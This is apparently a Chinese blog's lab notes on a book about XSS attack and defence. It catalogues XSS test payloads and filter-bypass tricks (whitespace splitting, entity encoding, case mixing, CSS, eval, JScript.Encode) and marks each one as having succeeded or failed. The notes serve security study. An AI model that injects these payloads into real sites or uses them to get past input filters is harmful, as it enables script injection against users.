1、书籍《xss跨站脚本剖析与防御》上介绍的xss测试代码

<img src="javascrpt:alert('xss');">,

<table background="javascrpt:alert(/xss/)"></table>

已经不能在多大数的浏览器上弹窗成功了

测试xss漏洞尽量改变习惯使用

<img src=1 oneRroR=alert(/XSS/)>

<img src=1 oneRroR=alert('XSS')>

<img src=1 oneRroR=alert("XSS")>

<img src="#" onerror=alert('xss')>

<img src="x"/**/onerror="javascript:alert('xss');">

<script>alert('XSS')</script>

<img src=# onerror="alert('XSS')"/>

<input type="text" value="x" onmouseover="alert('XSS')" />

<iframe src="javascript:alert('XSS')"></iframe>

<a href="javascript:alert('XSS')"> xss</a>

来测试,能胜任当前大多数浏览器版本。

2、使用空格、回车、tab键的方法绕过过滤

<iframe src="java
script:al    ert(1)" height=0 width=0 /><iframe> <!--Java和script是回车,al和ert是Tab换行符-->

实际测试成功

3、利用ASCII转码绕过过滤

<img src="x"/**/onerror="javascrip&#116&#58alert('xss');" >

<img src=1 onerror=alert('xss')> 转换为 <img src=1
onerror=&#97&#108&#101&#114&#116&#40&#39&#120&#115&#115&#39&#41>

实际测试成功

4、产生事件

<input type="button" value="click me" onclick="alert('click me')" >

实际测试成功

5、利用CSS跨站

<div style="background-image:url(javascript:alert('XSS'))">

<style>
    body {background-image: url("javascript:alert('XSS')");}
</style>

<div style="list-style-image:url(javascript:alert('XSS'))">

实际测试失败

6、大小写混淆

<img src="#" oneRroR=alert('xss')>

实际测试成功

7、半字转为全字

<img src="#" onerror=alert('xss')>

实际验证失败

8、结合使用注释字符干扰

<img src="####/*******/####" onerror=alert('xss')>

实际测试成功

9、书上说在javascript中的eval()函数,可计算字符串,并执行其中的JavaScript代码

<script>
eval("alert('XSS')");
</script>

按照书上说的转码为16进制

<script>
eval("\61\6c\65\72\74\28\27\58\53\53\27\29");
</script>

实际验证失败

10、Microsoft提供脚本加密机制,可以对脚本进行加密,能在IE下正常运行,在其他浏览器则无法识别

alert(1)使用JScript Encode加密结果为#@~^CAAAAA==C^+.D`8#mgIAAA==^#~@

编写exploit代码

<script language="JScript.Encode">
#@~^CAAAAA==C^+.D`8#mgIAAA==^#~@
</script>

在IE中执行,实际测试成功

《xss跨站脚本剖析与防御》实验笔记的更多相关文章

  1. xss跨站脚本攻击与防御读书笔记(原创)

    XSS在客户端执行 可以任意执行js代码 0x01  xss 的利用方式 1. 钓鱼      案例:http://www.wooyun.org/bugs/wooyun-2014-076685  我是 ...

  2. XSS 跨站脚本攻击 的防御解决方案

    虽然说在某些特殊情况下依然可能会产生XSS,但是如果严格按照此解决方案则能避免大部分XSS攻击. 原则:宁死也不让数据变成可执行的代码,不信任任何用户的数据,严格区数据和代码. XSS的演示 Exam ...

  3. XSS 跨站脚本攻击之构造剖析(一)

    1.XSS-Filter:跨站脚本过滤器,用于分析用户提交的输入,并消除潜在的跨站脚本攻击 (1)XSS Filter实际上是一段精心编写的过滤函数作用是过滤XSS跨站脚本代码: (2)绕过XSS F ...

  4. XSS构造剖析

    参考:邱永华<XSS跨站脚本攻击剖析与防御> 一 绕过XSS-filter 1.利用<>标记注射Html/JavaScript比如:<script>alert('X ...

  5. 个人网站对xss跨站脚本攻击(重点是富文本编辑器情况)和sql注入攻击的防范

    昨天本博客受到了xss跨站脚本注入攻击,3分钟攻陷--其实攻击者进攻的手法很简单,没啥技术含量.只能感叹自己之前竟然完全没防范. 这是数据库里留下的一些记录.最后那人弄了一个无限循环弹出框的脚本,估计 ...

  6. PHP漏洞全解(四)-xss跨站脚本攻击

    本文主要介绍针对PHP网站的xss跨站脚本攻击.跨站脚本攻击是通过在网页中加入恶意代码,当访问者浏览网页时恶意代码会被执行或者通过给管理员发信息 的方式诱使管理员浏览,从而获得管理员权限,控制整个网站 ...

  7. JAVA覆写Request过滤XSS跨站脚本攻击

    注:本文非本人原著. demo的地址:链接:http://pan.baidu.com/s/1miEmHMo 密码:k5ca 如何过滤Xss跨站脚本攻击,我想,Xss跨站脚本攻击令人为之头疼.为什么呢. ...

  8. xss跨站脚本攻击及xss漏洞防范

    xss跨站脚本攻击(Cross Site Scripting,因与css样式表相似故缩写为XSS).恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Scrip ...

  9. web攻击之一:XSS跨站脚本

    一.浏览器安全 同源策略 影响源的因素:host,子域名,端口,协议 a.com通过以下代码: <script scr=http://b.com/b.js> 加载了b.com上的b.js, ...

随机推荐

  1. ios8.1.1系统怎么取消下划线

    http://zhidao.baidu.com/link?url=y-3oAiOsuCSvoCD-7H2Uvgl_UI1BQQuNvA2jHKCRAGmZSH7_RrwDijKtRouMBa5yF_L ...

  2. uva-10085-搜索-最远状态的八数码

    直接bfs即可,取最后一个状态 #include <iostream> #include <stdio.h> #include <string> #include ...

  3. <转载> FreeNAS的安装和简单配置 http://freenas.cn/?p=342

    前些日子在公司搭了一个模拟生产环境的平台.由于是测试环境,资源有限只能使用虚拟机实现,所以存储这块就想到了使用FreeNAS.很早以前玩儿过几次,当时是生产环境需要上存储设备,经过对比还是选择的更可靠 ...

  4. <转载> GIT 操作小结 http://www.cnblogs.com/-ding/p/6008096.html

    参考: http://www.cnblogs.com/zyf-zhaoyafei/p/4486220.html 作者:万境绝尘 转载请注明出处:http://blog.csdn.net/shulian ...

  5. js代码执行过程

    一:first-blood:任何程序执行的第一步总是会先检查有没有语法错误,如果有,则直接抛出语法错误,直接跳出, 二:second-blood:预编译,预编译呢会有四个执行过程,1:创建执行期上下文 ...

  6. hadoop动态添加删除节点datanode及恢复

    1. 配置系统环境 主机名,ssh互信,环境变量等 本文略去jdk安装,请将datanode的jdk安装路径与/etc/hadoop/hadoop-evn.sh中的java_home保持一致,版本ha ...

  7. ES6 模块导入import 导出export 和module.export

    ES6中新增了模块的导入和导出功能 在实际过程中可以使用 import 和 export 对模块进行导入和导出操作,具体如下 1. 名字导入/导出  (导入名字必须与导出的一致,导入时需要用花括号) ...

  8. mysql root密码修改

    1.假如之前没设置密码,现在想成test mysqladmin -u root password test 2.假如之前密码是1234,现在想改成test mysqladmin -u root -p1 ...

  9. centos-yum离线源

    配置离线源 在个别开发环境中,我们可能有限制不能连外网. 这个情况可以通过用一台同内网的机器配置离线源,然后通过vsftp公用. 安装ftp rpm命令详解 $ rpm -ivh apache-1.3 ...

  10. WIN10 常用bug解决办法

    1.没开始菜单,点不出来,无法关机 建立批处理,右键管理员运行. shutdown -s -t 0 2.没开始菜单,点不出来,无法重启 建立批处理,右键管理员运行. shutdown -r -t 0 ...